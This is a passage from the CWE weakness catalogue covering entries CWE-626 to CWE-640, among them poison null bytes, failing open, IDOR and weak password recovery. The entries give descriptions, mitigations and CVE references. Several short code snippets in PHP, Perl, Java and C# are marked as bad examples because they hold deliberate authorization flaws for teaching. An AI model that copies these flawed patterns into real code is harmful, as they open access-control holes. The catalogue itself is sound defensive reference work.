CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings. *https://www.cve.org/CVERecord?id=CVE-2002-2109*
CVE-2006-6511	regexp in .htaccess file allows access of files whose names contain certain substrings *https://www.cve.org/CVERecord?id=CVE-2006-6511*
CVE-2006-6629	allow load of macro files whose names contain certain substrings. *https://www.cve.org/CVERecord?id=CVE-2006-6629*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2383
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2544

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS08-J		Sanitize untrusted data passed to a regex

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID : 626
Structure : Simple
Abstraction : Variant

Description

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	436	Interpretation Conflict	1065
ChildOf	V	147	Improper Neutralization of Input Terminators	395

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

Remove null bytes from all incoming strings.

Observed Examples

Reference	Description
CVE-2005-4155	NUL byte bypasses PHP regular expression check *https://www.cve.org/CVERecord?id=CVE-2005-4155*
CVE-2005-3153	inserting SQL after a NUL byte bypasses allowlist regexp, enabling SQL injection *https://www.cve.org/CVERecord?id=CVE-2005-3153*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2553

Notes

Terminology

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

Research Gap

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

References

[REF-514]Rain Forest Puppy. "Poison NULL byte". Phrack 55. < https://insecure.org/news/P55-07.txt >.2023-04-07.

[REF-515]Brett Moore. "0x00 vs ASP file upload scripts". < http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf >.

[REF-516]ShAnKaR. "ShAnKaR: multiple PHP application poison NULL byte vulnerability". < https://seclists.org/fulldisclosure/2006/Sep/185 >.2023-04-07.

CWE-627: Dynamic Variable Evaluation

Weakness ID : 627
Structure : Simple
Abstraction : Variant

Description

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	1816
PeerOf	B	183	Permissive List of Allowed Inputs	464

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Background Details

Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).

Alternate Terms

Dynamic evaluation :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could gain unauthorized access to internal program variables and execute arbitrary code.*	

Potential Mitigations

Phase: Implementation

Strategy = Refactoring

Refactor the code to avoid dynamic variable evaluation whenever possible.

Phase: Implementation

Strategy = Input Validation

Use only allowlists of acceptable variable or function names.

Phase: Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

Observed Examples

Reference	Description
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. *https://www.cve.org/CVERecord?id=CVE-2009-0422*
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS. *https://www.cve.org/CVERecord?id=CVE-2007-2431*
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. *https://www.cve.org/CVERecord?id=CVE-2006-4904*
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. *https://www.cve.org/CVERecord?id=CVE-2006-4019*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2556

Notes

Research Gap

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.

References

[REF-517]Steve Christey. "Dynamic Evaluation Vulnerabilities in PHP applications". Full-Disclosure. 2006 May 3. < https://seclists.org/fulldisclosure/2006/May/35 >.2023-04-07.

[REF-518]Shaun Clowes. "A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications". < https://securereality.com.au/study-in-scarlett/ >.2023-04-07.

CWE-628: Function Call with Incorrectly Specified Arguments

Weakness ID : 628
Structure : Simple
Abstraction : Base

Description

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

Extended Description

There are multiple ways in which this weakness can be introduced, including:

- the wrong variable or reference;
- an incorrect number of arguments;
- incorrect order of arguments;
- wrong type of arguments; or
- wrong value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1307
ParentOf	V	683	Function Call With Incorrect Order of Arguments	1512
ParentOf	V	685	Function Call With Incorrect Number of Arguments	1516
ParentOf	V	686	Function Call With Incorrect Argument Type	1517
ParentOf	V	687	Function Call With Incorrectly Specified Argument Value	1518
ParentOf	V	688	Function Call With Incorrect Variable or Reference as Argument	1520

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Primary : This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.	

Detection Methods

Other

Since these bugs typically introduce incorrect behavior that is obvious to users, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

Potential Mitigations

Phase: Build and Compilation

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

Phase: Architecture and Design

Make sure your API's are stable before you use them in production code.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

Example Language: PHP *(Bad)*

```
function authenticate($username, $password) {
  // authenticate user
  ...
}
authenticate($_POST['password'], $_POST['username']);
```

Example 2:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Example Language: Perl *(Bad)*

```
sub ReportAuth {
  my ($username, $result, $fatal) = @_;
  PrintLog("auth: username=%s, result=%d", $username, $result);
  if (($result ne "success") && $fatal) {
    die "Failed!\n";
  }
}
sub PrivilegedFunc
{
  my $result = CheckAuth($username);
  ReportAuth($username, $result, 0);
  DoReallyImportantStuff();
}
```

Example 3:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Example Language: Java *(Bad)*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
   String[] userRoles = getUserRoles(user);
   return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
   // grant or deny access based on user roles
   ...
}
```

Observed Examples

Reference	Description
CVE-2006-7049	The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions. *https://www.cve.org/CVERecord?id=CVE-2006-7049*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	2362
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2362
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2367
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2476
MemberOf	C	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1178	2486
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2487
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL10-C		Maintain the contract between the writer and caller of variadic functions
CERT C Secure Coding	EXP37-C	CWE More Abstract	Call functions with the correct number and type of arguments
SEI CERT Perl Coding Standard	DCL00-PL	CWE More Abstract	Do not use subroutine prototypes
SEI CERT Perl Coding Standard	EXP33-PL	Imprecise	Do not invoke a function in a context for which it is not defined

CWE-636: Not Failing Securely ('Failing Open')

Weakness ID : 636
Structure : Simple
Abstraction : Class

Description

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

Extended Description

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1585
ChildOf	C	657	Violation of Secure Design Principles	1454
ParentOf	B	455	Non-exit on Failed Initialization	1095
PeerOf	B	280	Improper Handling of Insufficient Permissions or Privileges	679

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Alternate Terms

Failing Open :

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.*	

Potential Mitigations

Phase: Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

Demonstrative Examples

Example 1:

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Observed Examples

Reference	Description
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional." *https://www.cve.org/CVERecord?id=CVE-2007-5277*
CVE-2006-4407	Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor. *https://www.cve.org/CVERecord?id=CVE-2006-4407*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2359
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2420
MemberOf	C	1369	ICS Supply Chain: IT/OT Convergence/Expansion	1358	2527
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

Notes

Research Gap

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-522]Sean Barnum and Michael Gegick. "Failing Securely". 2005 December 5. < https://web.archive.org/web/20221017053210/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/failing-securely >.2023-04-07.

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID : 637
Structure : Simple
Abstraction : Class

Description

The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

Extended Description

Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	657	Violation of Secure Design Principles	1454

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Unnecessary Complexity :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

Demonstrative Examples

Example 1:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 2:

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

Observed Examples

Reference	Description
CVE-2007-6067	Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407). *https://www.cve.org/CVERecord?id=CVE-2007-6067*
CVE-2007-1552	Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434). *https://www.cve.org/CVERecord?id=CVE-2007-1552*
CVE-2007-6479	In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution. *https://www.cve.org/CVERecord?id=CVE-2007-6479*
CVE-2005-2148	The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET. *https://www.cve.org/CVERecord?id=CVE-2005-2148*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2427
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-524]Sean Barnum and Michael Gegick. "Economy of Mechanism". 2005 September 3. < https://web.archive.org/web/20220126060058/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/economy-of-mechanism >.2023-04-07.

CWE-638: Not Using Complete Mediation

Weakness ID : 638
Structure : Simple
Abstraction : Class

Description

The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	862	Missing Authorization	1789
ChildOf	C	657	Violation of Secure Design Principles	1454
ParentOf	C	424	Improper Protection of Alternate Path	1031

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control Other	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data Other *A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.*	

Potential Mitigations

Phase: Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Phase: Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

Demonstrative Examples

Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 2:

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

Observed Examples

Reference	Description
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2007-0408

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	2433
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2526
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP20		Race Condition Window

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
104	Cross Zone Scripting

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-526]Sean Barnum and Michael Gegick. "Complete Mediation". 2005 September 2. < https://web.archive.org/web/20221006191503/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/complete-mediation >.2023-04-07.

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID : 639
Structure : Simple
Abstraction : Base

Description

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	863	Incorrect Authorization	1796
ParentOf	V	566	Authorization Bypass Through User-Controlled SQL Primary Key	1294

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	863	Incorrect Authorization	1796

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	687

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2497
MemberOf	C	840	Business Logic Errors	2381

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Insecure Direct Object Reference / IDOR : The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

Broken Object Level Authorization / BOLA : BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.

Horizontal Authorization : "Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood
	Access control checks for specific user data or functionality can be bypassed.	
Access Control	Gain Privileges or Assume Identity *Horizontal escalation of privilege is possible (one user can view/modify information of another user).*	
Access Control	Gain Privileges or Assume Identity *Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phase: Architecture and Design

Phase: Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

Demonstrative Examples

Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

Example Language: C# *(Bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

Observed Examples

Reference	Description
CVE-2021-36539	An educational application does not appropriately restrict file IDs to a particular user. The attacker can brute-force guess IDs, indicating IDOR. *https://www.cve.org/CVERecord?id=CVE-2021-36539*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	2352
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2356
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2378
MemberOf	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	2411
MemberOf	C	945	SFP Secondary Cluster: Insecure Resource Access	888	2415
MemberOf	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	2458
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Weakness ID : 640
Structure : Simple
Abstraction : Base

Description

The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	1390	Weak Authentication	2279

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	287	Improper Authentication	699

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2445

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2336
MemberOf	C	840	Business Logic Errors	2381

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.*	
Availability	DoS: Resource Consumption (Other) *An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.*	
Integrity Other	Other *The system's security functionality is turned against the system by the attacker.*	

Potential Mitigations

Phase: Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

